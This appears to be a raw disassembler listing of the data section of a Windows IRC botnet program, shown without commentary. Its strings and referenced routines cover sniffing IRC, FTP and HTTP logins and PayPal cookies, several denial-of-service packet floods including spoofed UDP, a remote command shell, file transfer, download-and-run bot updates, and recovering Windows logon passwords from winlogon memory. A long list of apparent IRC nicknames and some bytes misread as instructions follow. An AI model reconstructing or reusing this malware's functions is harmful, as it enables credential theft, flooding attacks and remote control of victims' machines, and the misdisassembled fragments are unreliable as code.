aOper db 'oper ',0 ; DATA XREF: sub_413003+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o ; sub_413079+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo align 4 a220 db '220 ',0 ; DATA XREF: sub_413079+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o align 4 unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 10h unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 unk_43789C db 2Dh ; - ; DATA XREF: sub_4135DF+5Eo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413694+302o dd 203A726Fh, 6425h unk_4378E0 db 2Dh ; - ; DATA XREF: sub_413A29+397o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 unk_43792C db 2Dh ; - ; DATA XREF: sub_413A29+307o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 4 unk_437974 db 2Dh ; - ; DATA XREF: sub_413A29+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 unk_437994 db 2Dh ; - ; DATA XREF: sub_413A29+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 unk_4379C4 db 2Dh ; - ; DATA XREF: sub_413A29+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 10h unk_4379F0 db 2Dh ; - ; DATA XREF: sub_413E10+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 unk_437A1C db 2Dh ; - ; DATA XREF: sub_413E10+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 unk_437A44 db 2Dh ; - ; DATA XREF: sub_413F9C+1C6o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 10h unk_437A70 db 2Dh ; - ; DATA XREF: sub_413F9C+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 4 dword_437A98 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_4141B2+4Bo aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 unk_437AC4 db 2Dh ; - ; DATA XREF: sub_414358+4Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 unk_437AEC db 2Dh ; - ; DATA XREF: sub_4143F7+27Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 dword_437B0C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_414703+4Fo aDoneWithFlood_ db '- Done with flood.',0 align 4 unk_437B2C db 2Dh ; - ; DATA XREF: sub_4149C1+4EBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_437B7C db 2Dh ; - ; DATA XREF: sub_4149C1+44Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_437BCC db 2Dh ; - ; DATA XREF: sub_4149C1+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 unk_437BEC db 2Dh ; - ; DATA XREF: sub_4149C1+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_437C24 db 2Dh ; - ; DATA XREF: sub_4149C1+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 unk_437C58 db 2Dh ; - ; DATA XREF: sub_414F57+66o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 unk_437C8C db 2Dh ; - ; DATA XREF: sub_41525A+4Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 unk_437CCC db 2Dh ; - ; DATA XREF: sub_4152D1+345o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 unk_437D58 db 2Dh ; - ; DATA XREF: sub_4152D1+2F3o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 unk_437DBC db 2Dh ; - ; DATA XREF: sub_4152D1+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 unk_437DE8 db 2Dh ; - ; DATA XREF: sub_4152D1+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 unk_437E2C db 2Dh ; - ; DATA XREF: sub_4152D1+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 4 unk_437E7C db 2Dh ; - ; DATA XREF: sub_4152D1+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 unk_437EA8 db 2Dh ; - ; DATA XREF: sub_41561D+60o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 ; DATA XREF: sub_4157BA+204o align 4 dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o align 4 dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DD8:loc_415E0Do dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DD8+20o dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: sub_415E4B+DCo dd 6574656Ch, 0 dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_415E4B+3Fo dd 676E6974h, 0 unk_437F88 db 2Dh ; - ; DATA XREF: sub_416000+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_437FBC db 2Dh ; - ; DATA XREF: sub_416000+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437FEC db 2Dh ; - ; DATA XREF: sub_416000+47o ; sub_4161C1+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_4161C1+362o ; sub_416563+156o dd 726F72h unk_438028 db 2Dh ; - ; DATA XREF: sub_4161C1+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_438054 db 2Dh ; - ; DATA XREF: sub_4161C1+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_4161C1+1CBo dd 74756Fh dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_4161C1+16Ao dd 169h unk_4380A8 db 2Dh ; - ; DATA XREF: sub_4161C1+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_4380C8 db 2Dh ; - ; DATA XREF: sub_4161C1+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4380EC db 2Dh ; - ; DATA XREF: sub_4161C1+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_438110 db 2Dh ; - ; DATA XREF: sub_416563+1D1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43813C db 2Dh ; - ; DATA XREF: sub_416563+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43815C db 2Dh ; - ; DATA XREF: sub_416563+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_416563+97o unk_43818C db 2Dh ; - ; DATA XREF: sub_416563+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4381BC db 2Dh ; - ; DATA XREF: sub_4167A0+493o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4381E8 db 2Dh ; - ; DATA XREF: sub_4167A0+485o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43821C db 2Dh ; - ; DATA XREF: sub_4167A0+3C9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: sub_4167A0+358o dd 25206465h, 73h unk_43827C db 2Dh ; - ; DATA XREF: sub_4167A0+2E1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_4382B4 db 2Dh ; - ; DATA XREF: sub_4167A0+262o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_4382DC db 2Dh ; - ; DATA XREF: sub_4167A0+1D8o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_438308 db 2Dh ; - ; DATA XREF: sub_4167A0+195o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_438330 db 2Dh ; - ; DATA XREF: sub_4167A0+183o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_438358 db 2Dh ; - ; DATA XREF: sub_4167A0+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo ; sub_419443+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o align 4 off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo ; sub_41AF8F:loc_41B091r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o ; sub_416EFD+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co align 10h unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416FCF:loc_417014o dword_43843C dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_417054+C8o dd 64252064h, 6C696620h, 7365h unk_43845C db 2Dh ; - ; DATA XREF: sub_417054+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dword_438484 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_41716F+107o dd 73252064h, 73255Ch dword_4384A0 dd 2A5C7325h, 0 ; DATA XREF: sub_41716F+1Ao unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 aUserdomain: ; DATA XREF: sub_4172C1+DCo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_4172C1+CEo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o ; sub_4172C1+161o ... align 4 unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo align 4 dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178F9+70o ; sub_417990+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417990+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr ; "q" ; --------------------------------------------------------------------------- sbb [ebx-4E77FFBDh], dl inc edx add [eax+1C0042C6h], ah mov byte ptr [edx+0], 14h xchg eax, ebx inc ebx add al, dl scasd inc edx add [eax-3Ah], dh inc edx add [edi+ebp*4-4DE7FFBEh], ch inc edx add [eax-3Ah], bh inc edx add [eax], dl xchg eax, ebx inc ebx add [ebx+edx*4], cl inc ebx add [eax], cl xchg eax, ebx inc ebx add [ebx+edx*4], al inc ebx add [edi+esi*4+42h], bh add ah, ch retf 42h ; --------------------------------------------------------------------------- dd offset dword_439300 ; --------------------------------------------------------------------------- cld xchg eax, edx inc ebx add al, bh xchg eax, edx inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_4392F4 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4392F0 dd offset dword_4392EC dd offset dword_4392E8 dd offset dword_4392E4 dd offset dword_4392E0 dd offset word_4392DC dd offset dword_4392D8 dd offset aI_0 ; "I" dd offset dword_4392D4 dd offset dword_4392D0 dd offset aA_0 ; "A" dd offset dword_4392CC dd offset dword_4392C8 dd offset dword_4392C4 dd offset dword_4392C0 dd offset dword_4392BC dd offset dword_4392B8 dd offset dword_4392B4 dd offset dword_4392B0 dd offset dword_4392AC dd offset dword_4392A8 dd offset dword_4392A4 dd offset dword_4392A0 dd offset dword_43929C dd offset word_439298 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_439030 dd offset off_43902C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438E98 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r ; sub_417E84+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" ; --------------------------------------------------------------------------- push 6000438Dh lea eax, [ebx+0] pop eax lea eax, [ebx+0] push eax lea eax, [ebx+0] dec eax lea eax, [ebx+0] inc eax lea eax, [ebx+0] cmp [ebp-72CFFFBDh], cl inc ebx add [eax], ch lea eax, [ebx+0] sbb al, 8Dh inc ebx add ds:8D0C0043h[ecx*4], dl inc ebx add [eax], cl lea eax, [ebx+0] add [ebp-6D0BFFBDh], cl inc ebx add al, dh retf 42h ; 